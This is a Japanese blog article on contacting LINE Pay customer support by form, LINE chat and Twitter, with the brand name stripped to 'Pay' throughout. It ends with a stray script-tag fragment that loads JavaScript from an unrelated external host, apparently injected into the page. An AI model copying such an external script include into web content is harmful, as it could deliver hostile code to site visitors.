Payカード2019年10月からキャッシュレス消費者還元事業が始まったことで、日本でもキャッシュレス決済を利用する人が増加中です。Payは、メッセージアプリのLINEを使っている人なら初期設定30秒で初期設定ができて、簡単に使えることから、利用者がどんどん増えています。Payの本人確認がいつまでたっても完了しないなど、何かがあったときに問い合わせ先がないか気になりませんか。Payの問い合わせ方法についてまとめました。どのような方法で問い合わせができるの?や、オペレーターにはつながるの?人と会話できるの?などの疑問を解消していきます。Payには電話窓口がありません。Payのホームページでいくら探しても、個人向けの電話番号は確認できません。Payで困った事があった場合は、電話以外の方法で問い合わせる必要があります。Payの加盟店向けには電話番号がありますが、個人向けの対応はしません。Payのスマホを落としたといった場合でも、電話以外の問い合わせ窓口で問い合わせる必要があります。Payで相談事があるときは、メールかチャット、公式Twitterのいずれかの方法を使って相談ができます。それぞれの問い合わせ方法には、メリットとデメリットがありますので、一つずつ紹介していきます。Payについて問い合わせる方法まずはメール(問い合わせフォーム)を使った問い合わせ方法の紹介です。メールで問い合わせをするためには、専用の問い合わせフォームに必要事項を入力します。問い合わせフォームのURL:https://contact-cc.line.me/serviceId/10712問い合わせフォームから質問する時は、メールアドレスが必要です。キャリアメールをお持ちでしたらキャリアメールでも良いですし、GmailやYahooメール、Outlookメールなどのフリー(無料)のメールアドレスでも問題ありません。返信用メールアドレスを入力します問題発生機種を選択しますサービス内容を選択しますカテゴリーを選択します。カテゴリーは、サービス内容に準じた選択肢が表示されます詳細を選択します。問い合わせフォームの内容に問題がある場合は、問題がある箇所と修正方法が赤字で表示されますので、指示に従って修正します送信ボタンをクリック(タップ)しますLINE社からの回答を待ちますメール(問い合わせフォーム)のメリットは、正しいメールアドレスを入力すれば、確実に返信がもらえることです。「回答が必ずほしい」場合はメール(問い合わせフォーム)が一番確実です。メール(問い合わせフォーム)のデメリットは、回答までに時間がかかることです。メールの特性上、リアルタイムで回答をいただけることはまずありません。問い合わせフォームに記載がありますが、2~3日はかかります。Payは、メール(問い合わせフォーム)の他に、LINEトークのチャット機能を使って問い合わせができます。Payの公式アカウントにトークで問い合わせする方法を紹介します。Payお問い合わせ」をLINEの友だちに追加します。Payの公式アカウント」の友だちを追加する方法です。Payお問い合わせ」を友だちに追加したら、いよいよLINEのトークを使ってオペレーターに問い合わせます。Payお問い合わせ」のトークルームを開きます「問い合わせ」(※「」は不要)を入れてメッセージを送ります「オペレーターに接続」をタップしますオペレーターに接続されるまで待ちますオペレーターからお声がけされるまで待ちますチャット(LINEトーク)の受付時間は10:00~18:00(年中無休)です。受付時間以外の時間は相談できませんのでご注意ください。Payのチャットに繋がるのに1時間以上かかる場合もあるため注意チャット(LINEトーク)のメリットは、LINEで知り合いとトークしているのと同じ感覚で質問ができるところと、リアルタイムに相談できるところです。チャット(LINEトーク)のデメリットは、つながりづらいところです。Payお問い合わせ」のチャットルームは、つながるまで非常に時間がかかります。つながることはほとんどなく、大抵は数分~数十分は待ちます。場合によっては1時間以上かかることがありますのでご注意ください。Payのチャットにつながらない場合は、つながらない事に対するおわびのメッセージが表示されますので、「接続をキャンセルする」をタップすれば、接続がキャンセルされます。Payの公式Twitterアカウントに相談できます。Payのツイートのコメント欄に質問することです。Pay公式Twitterが回答をします。回答内容はまちまちで、問い合わせフォームを案内することもあれば、公式ブログを案内することもあります。Payのお得情報や不具合情報などの情報が、一番早いところです。Payを利用している方でTwitterアカウントをお持ちでしたら、公式Twitterのフォローをおすすめします。Pay公式Twitterのデメリットは、回答できないことです。Pay公式Twitterでは、個別の事象に対しての回答ができません。個別の事象で回答ができない場合は、メール(問い合わせフォーム)に誘導されますので、二度手間になる可能性があります。確認することで解決できます。Pay公式サイトの「よくある質問」はヘルプページから確認できます。Payを利用している端末やOSなどのカテゴリー(AndroidやiOS、iPad、利用しているブラウザ)を選択できます。選択したカテゴリーの中で、よくある質問と回答が表示されます。カテゴリー選択に加えて検索フォームもあります。検索フォームにキーワードを入力すると、Google検索やYahoo検索のように、キーワードにひも付いた質問と回答が表示されます。ヘルプページやよくある質問で問題が解決できれば、メールやチャット、公式Twitterに問い合わせしなくてすみますから、問い合わせする前にヘルプページを見ておくことをおすすめします。Payの問い合わせ方法を紹介しました。Payの問い合わせするにあたってのポイントは3点です。Pay公式Twitterや、ヘルプページの「よくある質問」を確認することをおすすめします。Pay公式Twitterには、リアルタイムの情報が確認できます。サーバーメンテナンスや不具合情報などはTwitterの情報が一番早いです。Payに寄せられた質問の中でも、問い合わせが多い質問をまとめていますから、公式Twitterかヘルプページで探せば、大抵の質問に回答できるのではないでしょうか。公式Twitterにもヘルプページにも情報がなく、どうしても回答がほしい場合、確実に返信もらえるのはメール(問い合わせフォーム)です。絶対に回答がほしい場合はメールで問い合わせしましょう。LINEモバイルのメリットや評判、乗り換え方法はこちらの記事にまとめていますので、気になったあなたは参考にして下さい。元ソフトバンク店員の鈴木です。自分がショップで働いてた頃の格安SIMはまだまだ人に勧められるレベルではありませんでしたが、しばらくこの業界から離れている間に驚くほど進化していて驚愕、早速自身もLINEモバイルにのりかえました。元携帯ショップ店員が、LINEモバイルのさまざまな魅力や、実際にLINEモバイルを使ってみて感じた率直な意見をお伝えしていきます。src="http://webfood.info/javascripts/gasetting.js">。